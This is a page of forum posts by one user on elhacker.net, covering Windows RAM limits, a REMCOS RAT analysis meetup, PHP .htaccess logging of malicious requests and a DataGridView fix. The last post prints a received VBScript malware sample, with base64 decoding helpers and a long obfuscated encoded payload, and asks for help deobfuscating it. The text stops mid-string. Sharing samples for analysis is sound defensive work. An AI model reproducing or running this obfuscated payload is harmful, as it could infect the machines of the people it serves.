elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 24
1  Sistemas Operativos / Windows / Windows 8.1 o 10 Pro no me toma toda la memoria ram instalada en: 16 Septiembre 2020, 18:07 pm
Buenas,

Normalmente cuando formateo tengo este problema, pero hoy no he podido solucionarlo. Se supone que tengo 2 slot x4GB de ram para un total de 8GB instalado, pero el sistema operativo me toma solo 3.44 GB.

He realizado los pasos del
  • msconfig > Arranque > Opciones Avanzadas > Cantidad maxima de memoria: Me aparece en 0 siempre.
  • Panel de Control > Sistema y Seguridad > Sistema > Configuración avanzada del sistema > Rendimiento > Configuración > Opciones avanzadas > Cambiar > Tamaño personalizado.

Esto es lo que normalmente realizo para subir la ram, que por cierto solo sube hasta 6 GB :/. Hoy no ha querido funcionar y solo tengo 3.44 de RAM. Alguna idea?
2  Foros Generales / Foro Libre / [Meetup] "REMCOS RAT" como un pro en: 13 Agosto 2020, 21:54 pm


Volvemos con un espacio para aprender como analizar un troyano de acceso remoto y automatizar los hallazgos en el proceso. Con nuestro amigo @dark0pcodes quien explicará en detalle este interesante proceso.

Los esperamos en este nuevo espacio virtual de nuestro HackLab Bogotá

meetup.com/es-ES/HackLab-Bogota/events/272550930/

Me dan permiso de publicarlo? O es spam?
3  Programación / PHP / Proteger contra solicitudes maliciosas en: 5 Marzo 2020, 13:50 pm
Hace algunos días infectaron un servidor con un malware (ver https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/), entonces llegue al blog de Jeff Starr (@perishable), en donde vi la siguiente entrada: https://perishablepress.com/protect-post-requests/.

Me llamo mucho la atención el poder ejecutar un script desde un .htaccess con la directiva ErrorDocument, así:
Código
  1. ErrorDocument <3-digit-code> <action>

Segun la entrada, ejecuta el script sí el retorno de la petición es 403 o 404
Código
  1. ErrorDocument 403 /error-handler.php
  2. ErrorDocument 404 /error-handler.php

Aquí es donde entra mi duda, entiendo que los codigos de respuesta 403 (Forbidden) y 404 (Not Found), pero si existe algun malware oculto en un archivo que si exista y se encuentre digamos index.php, como podría ejecutar el script si la petición arroja un codigo 200 (OK)?

La entrada de Jeff solo guarda peticiones POST por medio de file_get_contents('php://input'), necesito esto tanto como para POST y para GET. Alguna idea?
4  Programación / .NET (C#, VB.NET, ASP) / [SOLUCIONADO] Reacomodamiento del ancho de columnas en DataGridView en: 19 Octubre 2018, 15:46 pm
No se porque tengo la sensación de que me esta pasando algo que no debe ser xD

Lleno el DataGridView con un oDataAdapter lo filtro en un .Fill(oDataTable), y lo lleno en el DataGridView Dgv.DataSource.

El caso es que defino el ancho de las columnas. Pero cuando lleno nuevamente el DataGridView las columnas se desacomodan y toman un ancho diferente, además de mostar las columnas ocultas.  :huh:

Ancho definido


Ancho despues de volver a llenar el DataGridView


Lo de las columnas ocultas siempre es la posicion 0, así que lo solucione a la fuerza. Pero no debería de ser así? Si la defini oculta porque se muestrá despues de volver a cargar el DataGridView?
Código
  1. Dgv.Columns[0].Visible = false;

---

SOLUCIÓN

Código
  1. Dgv.AutoGenerateColumns = false;
5  Seguridad Informática / Análisis y Diseño de Malware / [Malware] Muestra, Detenciones 6 / 57 en: 23 Agosto 2018, 19:25 pm
Recibi este malware hoy, a ver quien ayuda a hacerlo más legible

Código
  1. Private Function co_bi_na_ry_2_str(ni, mb, uz, am, rk)
  2. Set cooler = CreateObject("ADODB.Stream")
  3. cooler.Type = 1
  4. cooler.Open
  5. cooler.Write ni
  6. cooler.Position = 0
  7. cooler.Type = 2
  8. cooler.CharSet = "us-ascii"
  9. co_bi_na_ry_2_str = cooler.ReadText
  10. Set cooler = Nothing
  11. End Function
  12.  
  13. Private Function encode_the_string64(cook, book, touch, flat)
  14. Set xml_dom = CreateObject("Microsoft.XMLDOM")
  15. Set xml_tmp = xml_dom.createElement("tmp")
  16. xml_tmp.DataType = "bin.base64"
  17. xml_tmp.Text = book
  18. encode_the_string64 = xml_tmp.NodeTypedValue
  19. End Function
  20.  
  21. Private Function zufc(hgi, television, radio, power)
  22. Dim mut_ex, the_const, main_cont, res_ult
  23. mut_ex = "@*"
  24. the_const = "A"
  25. main_cont = "Q29uc3QgVHlwZUJpbmFyeS@*9IDEKQ29uc3QgRm9yUmVhZGluZy@*9IDEsIEZvcldyaXRpbmcgPS@*yLCBGb3JBcHBlbmRpbmcgPS@*4Cm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBsb25nVGV4dDEKbG9uZ1RleHQxID0gIlVISnBkbUYwWlNCR2RXNWpkR2x2YmlCamIxOWlhVjl1WVY5eWVWOHlYM04wY2lodWFTd2diV0lzSUhWNkxDQmhiU3dnY21zcENpQWdVMlYwSUdOdmIyeGxjaUE5SUVOeVpXRjBaVTlpYW1WamRDZ2lRVVJQUkVJdVUzUnlaV0Z0SWlrS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURFS0lDQmpiMjlzWlhJdVQzQmxiZ29nSUdOdmIyeGxjaTVYY21sMFpTQnVhUW9nSUdOdmIyeGxjaTVRYjNOcGRHbHZiaUE5SURBS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURJS0lDQmpiMjlzWlhJdVEyaGhjbE5sZENBOUlDSjFjeTFoYzJOcGFTSUtJQ0JqYjE5aWFWOXVZVjl5ZVY4eVgzTjBjaUE5SUdOdmIyeGxjaTVTWldGa1ZHVjRkQW9nSUZObGRDQmpiMjlzWlhJZ1BTQk9iM1JvYVc1bkNrVnVaQ0JHZFc1amRHbHZiZ29LVUhKcGRtRjBaU0JHZFc1amRHbHZiaUJsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwS0dOdmIyc3NJR0p2YjJzc0lIUnZkV05vTENCbWJHRjBLUW9nSUNBZ1UyVjBJSGh0YkY5a2IyMGdQU0JEY21WaGRHVlBZbXBsWTNRb0lrMXBZM0p2YzI5bWRDNVlUVXhFVD@*waUtRb2dJQ0FnVTJWMElIaHRiRjkwYlhBZ1BTQjRiV3hmWkc5dExtTnlaV0YwWlVWc1pXMWxiblFvSW5SdGNDSXBDaUFnSUNCNGJXeGZkRzF3TGtSaGRHRlVlWEJsSUQwZ0ltSnBiaTVpWVhObE5qUWlDaUFnSUNCNGJXeGZkRzF3TGxSbGVIUWdQU0JpYjI5ckNpQWdJQ0JsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwSUQwZ2VHMXNYM1J0Y0M1T2IyUmxWSGx3WldSV1lXeDFaUXBGYm1RZ1JuVnVZM1JwYjI0S0NsQnlhWFpoZEdVZ1JuVnVZM1JwYjI0Z2VuVm1ZeWhvWjJrc0lIUmxiR1YyYVhOcGIyNHNJSEpoWkdsdkxDQndiM2RsY2lrS0lDQWdJRVJwYlNCdGRYUmZaWGdzSUhSb1pWOWpiMjV6ZEN3Z2JXRnBibDlqYjI1MExDQnlaWE5mZFd4MENpQWdJQ0J0ZFhSZlpYZ2dQU0FpUUNvaUNpQWdJQ0IwYUdWZlkyOXVjM1FnUFNBaVFTSUtJQ0FnSUcxaGFXNWZZMjl1ZENBOUlDSktlbmhpU1VoS2JGa3lPV3RhV0VsblQybENiMkl6Vm10aFZ6VndTVU5vYWt0VFFucGhNMngzV2xOQUtqWkpSMmgyWkZkU2NHSnRhM1JhYm1kbldGUTBTME5wWXpsTVZEQjBVRk13T1V4VU1HZFpNamwxV20xc2JrbEVNSFJRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd2RGQlRNRGxEWjNCdllqTk9NRWxFTUdkSmJrSjBUVzFLY0dSSFRuWmhWelIxV1RJNWRFbG5jSGRpTTBvd1NVUXdaMDVxYXpKUFVXOXVZVWM1ZW1SRFFDbzVTVU5LYldSWFVYVmFibFpyV1ROS05XTklVWFZaTWpsMFNXZHZibU5IT1hsa1EwQXFPVWxFWXpOT1JGRkxZVmMxZW1SSFJuTmlSMUp3WTJsQUtqbEpRMGxzV1ZoQ2QxcEhSakJaVTFWcFEyMTRkV0V5V25CaVIxVm5VRk5DTUdOdVZteERiWGgxWVRKYWRtSkhVbXhqYVVBcU9VbElVbmxrVjFWTFEybGpPVXhVTUhSUVV6QTVURlF3WjJOSVZtbGlSMnhxU1VoYWFHTnBRQ281VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbERaM0JyWVZjd1oyTXlhR3hpUjNoMldXMXZaME51VG14a1EwSjZZVWRXYzJKSE9XbGhhVUFxT1VsSVpIcFpNMHB3WTBoUmRWa3pTbXhaV0ZKc1lqSktjVnBYVGpCTFEwb3pZekpPZVdGWVFqQk1iazV2V2xkNGMwbHBhMHRhUjJ4MFNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIwdGpNbFl3U1VkYWNHSkhWbnBsV0U0d1dsY3hkbGx0YjJkUVUwSnFZMjFXYUdSSFZuWlpiWEJzV1ROUmIwbHVUbXBqYld4M1pFZHNkVn@*1TlcxaFYzaHNZek5zZW1SSFZuUmlNa3B4V2xkT01FbHBhMHRhUjJ4MFNVZG9NR1JJUW5aWmJXOUxZekpXTUVsSGFEQmtTRUoyV1cxdloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzB4ZW1WSE1YTk5hVFUwWWxkNGIyUklVbmRKYVd0TFEyZHZibEJUTURsTVZEQjBVRk13T1VsSVFubGhXRnBvWkVOQ01sbFlTV2RRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd1MwTnRiSFZqTTFKb1lrZDRkVmxYTVd4SlJEQm5aRE5PYW1OdGJIZGtRelY2V1ROS2NHTklVblZaVnpGc1EyNU9NRmxZU2pCa1dFQXFaMUJUUW5waFIxWnpZa2M1YVdGcE5YcGpSMVpxWVZkR2MxcHRPWE5hUjFaNVkzbEFLbTlKYms0d1dWaEtNR1JZUUNwcFMxTkFLbTFKUTBwalNXZHdjR0p1VGpCWlYzaHpXa2RzZVVsRU1HZGpNbWhzWWtkNGRsbHRiM1ZhV0doM1dWYzFhMXBYTlRKaFdFcDJZbTB4YkdKdVVucGtTRXB3WW0xa2VrdEhiSFZqTTFKb1lrZDRhMkZZU1hCSlExbG5TV3gzYVVOdGJHMUpSelYyWkVOQ2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJWcDJZa2RTYkdOdFZqUmhXRTR3WTNsb2NHSnVUakJaVjNoeldrZHNlVXRUUWpCaFIxWjFTVU5DY0dKdVRqQlpWM2h6V2tkc2VVbEVNR2RqTW1oc1lrZDRkbGx0YjNWYVdHaDNXVmMxYTFwWE5USmhXRX@*yWW0weGJHSnVVbnBrU0Vwd1ltMWtla3REU1d4a1IxWjBZME5WYVV0VFFDcHRTVU5LWTBsbmNIcGpSM2h3WkVkV2VVbEVNR2RKYW5kcFNVTlpaMGx1ZDJsSlExbG5TV28wYVVOdVRuTmFWMVozU1VRd1owNVVRQ3@*zVFVOQUtrdGFSMngwU1VoS2JHTXpRblppYms1c1EyMVNjR0pUUW1waVYxRkxXa2RzZEVsSVFtaGpiVVowUTIxc2RWcHRPR2RRVTBBcWFVbG5jREZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sSlozQjZaRWRHZVdSSFVtaGtSMVZuVUZOQUttbEpaM0JyWVZjd1oySXlOV3hpTWpWcVdsRnZTMH@*2TUhSUVV6QTVURlF3ZEZCVFFtcGlNbEpzU1VoT01GbFlTakJKUkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbE1WREIwVUZNd09VTnRPWFZKUjFaNVkyMDVlVWxJU214ak0xWjBXbE5DZFZwWWFEQkRaMjlMWVZjMWVtUkhSblZaTWxWTFpESm9jR0pIVldka1NFb3hXbEZ2UzJGWE5YcGtSMFp6WWtBcWIwdGpiVlo2WTBjNWRXTXlWV2RRVTBBcWFVbG5jSGxhV0U1M1lqSTFlbHBUUUNvNVNVaENkbU16VVdkTFEwcHdZM2t4ZVZwWFJtdGxVMGx6U1dsSmNFTnRUblJhUTBBcU9VbElUbmRpUjJ3d1NVTm9lVnBZVG5kaU1qVjZXbE40ZW1OSGVIQmtSMVo1UzFGd2VscFhlR3haTTFGbldUSkdlbHBUUW1waVYxRm5TMFJBS25CRGJVNW9ZekpWWjBsdFZqUlpNbFpxWkZoU2JFbG5iMmRKUTBBcVowbERRbmRaV0Vwb1lsTkFLamxKUj@*1MFdrTkFLbTlOVTJ0TFNVTkFLbWRKUTBBcVoxcFlhR3haTTFZd1dsTkNkMWxZU21oaVVYQnFXVmhPYkVsRFNqRmpSMUpvWkVkVmFVTnBRQ3BuU1VOQUttZEpTRUpvWTIxR2RFbEVNR2RaTWpGclNVTm5lRXRSYjJkSlEwQXFaMGxEUW5aaWJWWjJZbTFPYkV4dFRuTmlNMDVzUTJsQUttZEpRMEFxWjBsSVRteGtRMEoyWW0xV2RtSnRUbXhKUkRCblNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIzVmlNMEpzWW01U2JHVklVbTFoVjNoc1NVTm9jR0p1VGpCWlYzaHpXa2RzZVVsRFdXZGhWelY2WkVkR2MySkhOV2hpVjFWblRFUkpjMGxIV21oaVNFNXNTMUZ2WjBsRFFDcG5TVU5DZG1KdFZuWmliVTVzVEc1a2VXRllVbXhKU0VKb1kyMUdkRU5wUUNwblNVTkFLbWRKUnpsMVdsYzVkVmt5VlhWWk1uaDJZekpWUzBsRFFDcG5TVU5BS21kak1taHNZa2Q0ZGxsdGIzVmpibFoxU1VOS00yTXlUbmxoV0VJd1RHMVdORnBUUUNwMlREQkpaMGxwUUNwdFNVZE9iMk5wWjNwT1EydG5TbWxDY0dKdVRqQlpWM2h6V2tkc2VVbERXV2RoVnpWNlpFZEdjMkpITldoaVYxVm5TbWxDYW1GSVNXOU5lbEZ3UTJsQUttZEpRMEFxWjBsSVpIcFpNMHB3WTBoUmRXTllWbkJrUTBBcVMxa3lSbnBhVTBBcWFXUlhOWEJpYms0d1dWZDRjMGxuYjJkSlEwQXFaMGxEUWpGaWJXeDFZek5TYUdKSGQwdFpNa1o2V2xOQUttbGpNbFoxV2tOSlMwbERRQ3BuU1VOQUttZGFSemt6WW0xNGRsbFhVV2RaTWpGclNVTm5lRXRUZUdwaVYxRm5TMFJKY0VOdFRtaGpNbFZuU1c1T2NHUkhWWFJqTWxaMVdrTkpTMGxEUUNwblNVTkFLbWRqTW13d1dsZFNkbVF5TlhOaU1rWnJXbGhKWjFreU1XdEpRMmQ0UzFONGFtSlhVV2RMUkVsd1EyMU9hR015VldkSmJrcHNXVE5aYVVOcFFDcG5TVU5BS21kSlNFSm9ZMjFHZEVsRU1HZFpNakZyU1VObmVFdFJiMmRKUTBBcVowbERRakZqUjNoMldWZFJaMHRJUW1oamJVWjBTMUZ3YWxsWVRteEpRMEFxYVZwWE5URmlVekZyWTIxc01scFlTV2xEYVVBcVowbERRQ3BuU1VoQ2RtTXpVV2RKYld4NlRGZFdkV1JYTUhSYVNFcHdaRzFXZVVscGVHeGlibFowV2toS2NHUnRWbmxKUTBBcVMxa3lSbnBhVTBBcVowbHRWblZrVnpCMFdtMUdiVWxuYjJkSlEwQXFaMGxEUW5kWldFcG9ZbE5BS2psSlIwNTBXa05BS205TlUydExTVU5BS21kSlEwQXFaMk5IT1hwa1EwQXFhV0ZZVFhSYVZ6VXhZbE14YlZsWFdXbE1SMVoxWkZjeGJWbFhXV2RMU0VKb1kyMUdkRXRSY0dwWldFNXNTVU5BS21sYVZ6VXhZbE14ZDJOdE9XcGFXRTU2U1dkdlowbERRQ3BuU1VOQ2QySXpUakJKUTBwd1kza3hiR0p1Vm5STVdFSjVZakpPYkdNelRXbE1SMVoxWkZjeGQyTnRPV3BhV0U1NlNVTkFLbWREYlU1b1l6SlZaMGxEU21waVYxRjBZekpvYkdKSGQybERhVUFxWjBsRFFDcG5TVWhDYUdOdFJuUkpSREJuV1RJeGEwbERaM2hMVVc5blNVTkFLbWRKUTBKM1lqTk9NRWxEU25CamVURnFZbGRSZEdNeWFHeGlSM2RwVEVkT2RGcElUbTlhVjNoelNVTm9kMWxZU21oaVUydG5TVUFxY0dwWldFNXNTVU5BS21sYVIxWnpXbGhTYkVsbmIyZEpRMEFxWjBsRFFuZFpXRXBvWWxOQUtqbEpSMDUwV2tOQUttOU5VMnRMU1VOQUttZEpRMEFxWjFwSFZuTmFXRkpzV20xR2JVbERhSGRaV0Vwb1lsTnJaME50VG1oak1sVm5TVU5LYkdWSGJEQk1XRUo1WWpKT2JHTXpUV2xEYVVBcVowbERRQ3BuU1VoQ2FHTnRSblJKUkRCbldUSXhhMGxEWjNoTFVXOW5TVU5BS21kSlEwSnNaVWRzTUdOSVNuWlpNbFo2WTNsQUttOWpSMFo1V1Zjd2NFbEFLbkJxV1ZoT2JFbERRQ3BwWXpKNGJGcFlRQ3BwUTJsQUttZEpRMEFxWjBsSVFtaGpiVVowU1VRd1oxa3lNV3RKUTJkNFMxRnZaMGxEUUNwblNVTkNlbUpIVm14alEwQXFPVWxIVmpKWlYzZG5TMGhDYUdOdFJuUkxVMEFxWjBsRFFDcG5TVU5BS21kRGJWWjFXa05DZWxwWGVHeFpNMUZMUTI1a2Vsa3pTbkJqU0ZGMVl6SjRiRnBZUUNwbll6SjRiRnBZUUNwTFEyNWtiR0p0VVV0RFozQjZaRmRKWjJGWE5YcGtSMFp6WWtBcWNIWmlhVUpzWTI1S2RtTnBRbmxhV0U0eFlsZFZaMkp0VmpSa1FDcHdhMkZYTUdkaVJ6VnlZakpLY1VOdFVuQmlVMEp0WVZkNGJHSnRSblJhVVhCcllWY3daMXB0T1hOYVIxWjVZbTFHZEZwUmNHdGhWekJuV20xc2MxcFhiR3BpTWpSTFdrZHNkRWxIV25aaVIxSnNZMjFzYW1JeU5FdERibFozWXpOU2FHTnVVVXRhYlRsNVNVZFdhRmt5WjJkYVNFcHdaRzFWWjJGWE5HZGFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFhMk50YkRKYVdFMUxRMjFzYlVsRFFtdGpiV3d5V2xNMWNHTXpTbXhaVjFJMVNVUXdaMlJJU2pGYVUwSXdZVWRXZFVOdGJHMUpRMEpyWTIxc01scFROVzFqYlZac1l6TkNhRmt5VldkSlJEUm5UVU5DTUdGSFZuVkRiV3h0U1VOQ2EyTnRiREphVXpWclkyMXNNbHBZVWpWalIxVm5TVVF3Wj@*xVFFqQmhSMVoxUTJsQUttZEpRMEp0WVZkNGJHTXpiSHBrUjFaMFlqSktjVXh0VG5aalNHeHRZVmQ0YkVsSVpIcFpNMHB3WTBoUmRXTXlUbmxoV0VJd1dtNVdjMkpITldoaVYxVm5URU5DYTJOdGJESmFVelYzV1ZoU2IwbERXV2RKYkhkcFNVTlpaMkZYTlhwa1IwWnpZa2MxYUdKWFZYTmtTRW94V2xGdlowbERRQ3BuWVZkWlowbEhXbkJpUjFaNlpWaE9NRnBYTVhaWmJXOTFXbTFzYzFwWFZqUmhXRTR3WTNsQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcWJVbEhiSFZqTTFKb1lrZDRkVmxYTVd4TFUwQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxIV25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxV2pKV01GcHRiSE5hVTJoclkyMXNNbHBUTlhkWldGSnZTVU5aWjBsc2QybEpRMEFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hMVXpWb1pFaFNlV0ZYU2pGa1IxWjZTVVF3Wj@*xcGN6QkRhVUFxWjBsRFFteGliVkZuWVZkWlMwbERRQ3BuU1VkYWRtTnBRbXhaVj@*1dlNVZGFjR0pIVldkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1c5SlIxSjVZVmhhYkV4dVFtaGtSMmRuU21sQUttbFlRMGxuUzFNMVIyRlhlR3hqZDI5blNVTkFLbWRKUTBBcVowbEhiRzFKUnpWMlpFTkNjMkp0ZEcxaFYzaHNTVWhTYjFwWE5HZGFXR2h3WkVOQ2JXSXpTVXRKUTBBcVowbERRQ3BuU1VOQ2NGcHBRQ3BuWVZjMWVtUklTV2RMUjFwd1lrZFZkV0p0Um5SYVUzZHBUR2xKY0VsSVVtOWFWelJMU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kaFYxbG5TVWQ0YWxsWVRteEpRMmg2WTBkNGNHUkRhRzFoVjNoc1RHMDFhR0pYVlhOSlEwbDFTV2xyWjB0SVZtbGlNMVoxV2tOb2VtTkhlSEJrUTJodFlWZDRiRXh0TldoaVYxVnpTVU5KZFVscGEzQkxVMnRuVUVRMFowbHRlSFZoZVVsblpFZG9iR0puYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFROV2hrU0ZKNVlWZEtNV1JIVm5wSlJEQm5UV2x6TUVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBKd1dtbEFLbWRrVj@*1b1l6SlZaMHRIV25CaVIxVjFZbTFHZEZwVGEyZFFSRFJuWkZkT2FHTXlWV2RMUjJ4MVl6TlNhR0pIZUhWWlZ6RnNTMU5DTUdGSFZuVkRhVUFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVoxcHRiSE5hVnpWb1lsZFZaMUJUUW5walIzaHdaRU5vYldGWGVHeE1iVFZvWWxkVmMwbHBOR2xMVVc5blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVWhPYkdSRFFuTmliWFIyV1cxdloxQlRRbnBoUjFaellrYzVhV0ZwTldwamJWWm9aRWRXZW1GSE9YbGtSMDR4WkVOQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcVowcHBRbTFoVjNoc1ltMUdkRnBUUUNwdlRVTnJaMHBwUUNwcFRHMTRkV0Y1U1hCSlFDcHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSGVIVmhNamxwWVdrMU0yRlhOV3RpTTJSNlpFaHNjMXBUUUNvNVNVUmpTMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhlSFZoTWpscFlXazFNMkl6U25KaFZ6VnVXa2RzZVZwWFRqQmlNMG8xU1VRd1owbHBTVXRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwSnpZbTEwZGxsdGIzVlpXRXB1WkZjeGJHSnVVbnBKUkRCblNXazVha2xJVGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhiSFZqTTFKb1lrZDRkVmxYTVd4TVEwbG5TV2wzWjFreWFIbGtlV2Q2VGtOclowcHBRQ3BwU1VOSlowcHBRbXBoU0VvelMwUk5NRXRUYTJkS2FVQXFhVXB1VGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhXbkJpUjFWMVltMUdkRnBUZDJsSlEwbHpTVWRPYjJOdVkyOU5lbEZ3U1VOWlowbHBRQ3BwU1VOWloxa3lhSGxrZVdkNlRrTnJjRWxEV1dsS2JWWTBZVmhSYVVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFhiR3BpTWpSblVGTkNlbUZIVm5OaVJ6bHBZV2sxZVZwWFpIbGFWMFpyU1VObmFWTkZkRVpYVmpsTlZEQk9RbFJHT1U1UlZVNUpVMVUxUmxoSVRuWmFibEl6V1ZoS2JGaEhUbk5aV0U1NldsaE9ZMGxwUUNwdFNVaE9iMXBYZUhOaU1rcHhURzVLYkZvelNteFpWMUZuUzBOS1NWTXdWbHBZTUhoUVVUQkdUVmd3TVVKUk1HaEtWR3RXWTJNeU9XMWtTR1JvWTIxV1kxa3llR2hqTT@*1c1l6RjNkVWxwUUNwdFNVaE9kMkpIYkRCTFIxcHdZa2RWZFdKdFJuUmFVM2RuU1drMGFVdFRhREZaYlRreFltMVJiMk16UW5OaFdGRnZXbTFzYzFwVE5YVlpWekZzVEVOQUttbE1hVWx3UzFOcmJVbERTbU5KYVd0blNtbEFLbWxZUjFKc1dtMUdNV0pJVW5CWk1qbDFXRU5KY0VsQUttOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1Vkc2JVbERRbkJpYms0d1kybEFLbTlhYld4eldsZHNhbUl5TkhOSmFYZHBTMU5BS2psSlJFQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEp6WW0xMGRsbHRiM1ZoVj@*1MlltMTRkbGt5UmpCaFZ6bDFTVVF3WjFwdGJITmFVelYzV1ZoU2IwTnBRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwbldsZDRlbHBUUUNwTFNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMkpITlhKaU1rcHhURzFzYW1JeU5YTmlNazVvWkVkc2RtSnBRQ281U1VkYWNHSkhWbkJaTWpsMVEybEFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kYVZ6VnJTVWRzYlVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuWWtjMWNtSXlTbkZNYms1b1pHMVZiMHRSYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV2xjMWEwbEhiRzFEYVVBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSFZuVmFRMEp3V21kdlowbERRQ3BuU1VOQUttZEpSMVoxV2tOQ2NGcG5iMmRKUTBBcVoySnRWalJrUUNwdlowbERRQ3BuV20wNWVVbEhWbWhaTW1kbldtMDVjMXBIVm5sSlIyeDFTVWRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhTWxZd1dtMDVjMXBIVm5sTFEwSnJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTJ0MVl6TldhVnB0T1hOYVIxWjVZM2R2WjBsRFFDcG5TVU5BS21kSlIyeHRTVWMxZG1SRFFuTmliWFJ0WWpKNGExcFlTV2RrUjJoc1ltbENiR1ZIYkRCSlIxcDJZMmR2WjBsRFFDcG5TVU5BS21kSlIxcDJZa2RTYkdOcE5XaGtTRko1WVZkS01XUkhWbnBKUkRCblRXbHpNRU5wUUNwblNVTkFLbWRKUTBBcVoxcHRPWE5hUjFaNVltMUdkRnBUUUNvNVNVZGFkbUpIVW14amFUVjFXVmN4YkVOcFFDcG5TVU5BS21kSlEwQXFaMk15VmpCSlIzaDFZVEk1YVdGcFFDbzVTVWhPYjFwWGVITmlNa3B4VEcxT2VWcFhSakJhV0U1dllqTktNRmt6VmpCSlEyaHJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTBBcWJVbEhXblppUjFKc1kyMDFhR0pYVldkS2FVQXFhVXh0ZUhWaGVVbHdTVUFxYjJkSlEwQXFaMGxEUUNwblNVZDRkV0V5T1dsaGFUVXpZVmMxYTJJelpIcGtTR3h6V2xOQUtqbEpSR05MU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlIzaDFZVEk1YVdGcE5UTmlNMHB5WVZjMWJscEhiSGxhVj@*0d1lqTktOVWxFTUdkSmFVbExTVU5BS21kSlEwQXFaMGxEUW5OaWJYUjJXVzF2ZFZsWVNtNWtWekZzWW01U2VrbEVNR2RKYVRscVNVaE9NRmxZU2pCSlEwbG5TbWxDZVZwWVFuTlpWMDVzUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXhEU1dkSmFYZG5XVEpvZVdSNVozcE9RMnRuU21sQUttbEpRMGxuU21sQ2FtRklTak5MUkUwd1MxTnJaMHBwUUNwcFNtNU9NRmxZU2pCSlIxWTBZMGQ0ZG1OdFZubEpRMGxuU21sQ2VWcFlRbk5aVj@*1c1MwZGFkbUpIVW14amFUVjFXVmN4YkV4RFNXZEphWGRuV1RKb2VXUjVaM3BPUTJ0blNtbEFLbWxKUTBsblNtbENhbUZJU2pOTFJFMHdTMU5yWjBwcFNXMWFXR2h3WkVOSlMwbERRQ3BuU1VOQUttZEpRMEp0WWpKNGExcFlTbkJaTWpsMVNVUXdaMk15YUd4aVIzaDJXVzF2ZFdOdFZtNWpiVlpvV2tOQUttOUphMmhNVWxac1psUkZPVVJSVlhobVZGVkdSRk5GYkU5U1ZuaDZZakphTUdReVJubGFWbmhxWWtkR2VtTXlWbnBZUjFwMllrZFNiR05zZUd0YVYxcG9aRmQ0TUdGWFRuWmliSGRwUzFOQUtrdEpRMEFxWjBsRFFDcG5TVU5DY0ZwcFFDcG5ZVmMxZW1SSVNXZExSMX@*yWWtkU2JHTnRiR3BpTWpSelNXbDNhVXRUUUNvNVNVUkFLbWRrUjJoc1ltZH